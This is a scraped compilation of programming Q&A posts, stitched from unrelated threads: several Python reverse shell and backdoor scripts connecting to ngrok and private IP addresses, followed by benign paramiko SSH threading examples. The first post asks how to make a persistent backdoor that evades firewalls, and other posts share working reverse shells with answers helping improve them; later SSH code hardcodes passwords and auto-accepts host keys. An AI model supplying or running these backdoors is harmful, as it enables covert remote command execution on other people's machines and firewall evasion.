I'm wondering how to create a permanent backdoor on the system with just a one-time running. In addition, when trying to establish a direct connection, Firewalls notice and block it. So I want to encrypt the connection with a 15 digit string. I was using this code from reverse shell port forwarding
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
HOST = '0.tcp.ngrok.io'
PORT = 12969
s.connect((HOST, PORT))
while True:
conn = s.recv(2048).decode()
if conn[:3] == 'cd ':
os.chdir(conn[3:])
cmd = ''
else:
proc = subprocess.Popen(conn, stdout=subprocess.PIPE,stderr=subprocess.PIPE, stdin=subprocess.DEVNULL, shell=True)
stdout, stderr = proc.communicate()
cmd = stdout+stderr
cmd += str('\n'+os.getcwd()).encode()
s.send(cmd)
But firewalls blocks it automatically and when executor stops the code, reverse shell ending.
Related
My client wanted to collect multiple application logs from multiple servers and have on file that should search for errors. If we find errors we need to end the deployment workflow.
Prefer Python(2.7) but shell script is also fine.
you want to create a shell with python ?
try this , but the client need to listen to the Port of the Shell
#!/usr/bin/python
import subprocess, socket
HOST = '192.168.1.1' #Your Ip Addres
PORT = 4444 # the Port Of The Shell , The Client Need to Listen to This Portfor Get An Acces to CMD from the Server , its an SSH Shell
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT)) # Connecting to The Host
s.send('Shell Session Succesfull Connected Press Enter To Start ReverseHandling') # the Message to Send When the User Opened The Shell
while 1:
data = s.recv(1024)
if data == "quit": break
send = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdoutput = send.stdout.read() + send.stderr.read()
s.send(stdoutput)
# When The Loop Are Exited
s.send('Shell Session Closed') #This Message Will be Sended When The Shell Are Closed
s.close()
This is my simple reverse shell written in python. I'm trying to make it better.
Client side code:
import socket
import subprocess
mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
mySocket.connect(('172.16.1.30', 7071))
cmd=mySocket.recv(100)
while (cmd != 'exit'):
cmdResult = subprocess.Popen(args=cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
mySocket.send(cmdResult.communicate()[0])
cmd = mySocket.recv(100)
mySocket.send('Shell closed by user.')
mySocket.close()
Server side code:
import socket
mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
mySocket.bind(('172.16.1.30', 7071))
mySocket.listen(1)
clntConn, clntAddr = mySocket.accept()
print 'Received connection from ' + str(clntAddr[0]) + ':' + str(clntAddr[1])
while True:
command=raw_input('Shell>')
clntConn.send(command)
result=clntConn.recv(1024)
if (result == 'Shell closed by user.'):
print result
exit(0)
else:
print result
As seen in "Server side code" the raw_input prompt is "Shell".
how can I change it to current working directory on the Client.
For example if the Client current working directory is "C:\Users\Test\Desktop\"
I had a raw_input prompt as "C:\Users\Test\Desktop>".
Thanks.
You can use os.getcwd(), it should work on both Unix and Windows.
import os
cwd = os.getcwd()
I thought I made a perfect backdoor but it keeps popping up with errors when I run the code from cmd.
Here's the code:
import socket
import subprocess
# Customizable variables
HOST = '10.0.0.138' # IP for remote connection
PORT = 12397 # Port for remote connection
PASS = 'Test' # Password to make sure it is secure
# Had To Make Some Changes
STR = 'Welcome'
ConnectMsg = bytes(STR.encode())
# Do not tuoch this
s = socket.socket()
# Conecting to atack computer
s.connect((HOST, PORT))
s.send(ConnectMsg)
s.send(HOST, PORT)
# Login using your custom PassWord
def Login():
global s
s.send('login>>> ')
pwd = s.recv(1024)
if pwd != PASS:
Login ()
else:
Loop ()
# The fun stuff
def Loop():
while 1:
data = s.recv(1024)
if deta == ':Quit':
break
proc = subprocess.Popen(deta, Loop=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdoutput = proc.stdout.read() + proc.stderr.read()
s.send(stdoutput)
s.send('>>> ')
# Executing script
Login()
# Thankyou for downloading my script. .P.S ~ I programmed this with a smartphone XD.
# copyright # joelwatson605#gmail.com
# I AM NOT RESPONSIBLE FOR ANYTHING YOU DO WITH THIS SCRIPT.
Error -
File "backdoor.py", line 18, in
s.connect((HOST, PORT)) ConnectionRefusedError: [WinError 10061] No connection could be made because the target machine actively
refused it
This has nothing to do with python, your machine has just decided to block python from accessing this certain port. Try to get your firewall (assuming that's whats causing the issue) to allow python into that port, and it should work.
i created a Server-client chat & subprocess shell.
The problem is when i sent to the client 'cmd' , 'python' or some command that can be executed inside the cmd, the program is crash.
what can i do ? i tried everything. set blocking, set timeout .. all.
Server:
import socket
s = socket.socket() #TCP SOCKET //By Default
s.bind(("0.0.0.0",5555))
s.listen(1)
conn,addr = s.accept() #Connection Object & ip
print "[+]New Connection:",addr
while True:
command = raw_input('Shell>>')
conn.send(command)
print conn.recv(1024)
Client:
http://pastebin.com/EcFhDd5Z
The code below runs grep in one machine through SSH and prints the results:
import sys, os, string
import paramiko
cmd = "grep -h 'king' /opt/data/horror_20100810*"
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect('10.10.3.10', username='xy', password='xy')
stdin, stdout, stderr = ssh.exec_command(cmd)
stdin.write('xy\n')
stdin.flush()
print stdout.readlines()
How can I grep five machines all at once (so that I don't have major delay), than put all that in five variables and print them all out.
You'll need to put the calls into separate threads (or processes, but that would be overkill) which in turn requires the code to be in a function (which is a good idea anyway: don't have substantial code at a module's top level).
For example:
import sys, os, string, threading
import paramiko
cmd = "grep -h 'king' /opt/data/horror_20100810*"
outlock = threading.Lock()
def workon(host):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(host, username='xy', password='xy')
stdin, stdout, stderr = ssh.exec_command(cmd)
stdin.write('xy\n')
stdin.flush()
with outlock:
print stdout.readlines()
def main():
hosts = ['10.10.3.10', '10.10.4.12', '10.10.2.15', ] # etc
threads = []
for h in hosts:
t = threading.Thread(target=workon, args=(h,))
t.start()
threads.append(t)
for t in threads:
t.join()
main()
If you had many more than five hosts, I would recommend using instead a "thread pool" architecture and a queue of work units. But, for just five, it's simpler to stick to the "dedicated thread" model (especially since there is no thread pool in the standard library, so you'd need a third party package like threadpool... or a lot of subtle custom code of your own of course;-).
In my case i have to execute commands on server with one ip and port and after complete need to do sftp to other ip and different port.Condition is one connection should be live while doing sftp to another ip due to port forwarding.
Both connection are working separably but while combining both second sftp connection is not working.
#! /usr/bin/env python3
import sys, os, string, threading
try:
import paramiko
#import paramiko package
except:
im = input("Paramiko module is missing. Do you want to install[Y/N]:")
im = im.upper()
if im == "Y":
try:
try:
os.system("pip install paramiko")
except:
os.system("pip3 install paramiko")
except:
print("Please install paramiko package manually")
else:
print("Rerun and type 'y' to install")
#Running paramiko module with interactive password sending function
#this function helps to send password when sudo command is executed
def sudossh():
host = "type host ip"
port = 22
username = "type username"
password = "type password"
try:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(host, port, username, password)
ssh.get_transport()
#In this example we will run HTTP module on server in port 80
command = "sudo su -c 'sudo python -m SimpleHTTPServer 80'"
print(f"Running: {command}\n")
stdin, stdout, stderr = ssh.exec_command(command=command,get_pty=True)
stdin.write("password\n")
print("sent password\n")
print("HTTP service is running now\n")
stdin.flush()
if stderr.channel.recv_exit_status() != 0:
print(f"Error: {stderr.readlines()}")
else:
print(f"Output: \n{stdout.readlines()}")
ssh.close()
except Exception as err:
print(str(err));
print("Thanks for using my application");
#Running another paramiko module with interactive password sending function
def grepverification():
host = "type host ip"
port = 22
username = "type username"
password = "type password"
try:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(host, port, username, password)
ssh.get_transport()
#Open new session and check port 80 status on server
command = "sudo su -c 'netstat | grep 80'"
print(f"Running: {command}\n")
stdin, stdout, stderr = ssh.exec_command(command=command,get_pty=True)
stdin.write("password\n")
print("sent password\n")
print("Connection is established. Check below output\n")
stdin.flush()
if stderr.channel.recv_exit_status() != 0:
print(f"Error: {stderr.readlines()}")
else:
print(f"Output: \n{stdout.readlines()}")
ssh.close()
except Exception as err:
print(str(err));
print("Thanks for using my application");
def main():
#Multithreading helps to run both at a same time. Useful for verification.
# creating thread
th1 = threading.Thread(target=sudossh)
th2 = threading.Thread(target=grepverification)
# starting thread 1
th1.start()
# starting thread 2
th2.start()
# wait until thread 1 is completely executed
th1.join()
# wait until thread 2 is completely executed
th2.join()
# both threads completely executed
print("Completed!")
#you can use for loop to reduce lines but for understanding & smooth multithreading process will keep it as separate functions
#Comments are welcome. Thanks. Follow me on https://www.linkedin.com/in/dinesh-kumar-palanivelu-858441128/
#you need to change line - 23-26,36,51-54,64
if __name__=='__main__':
main()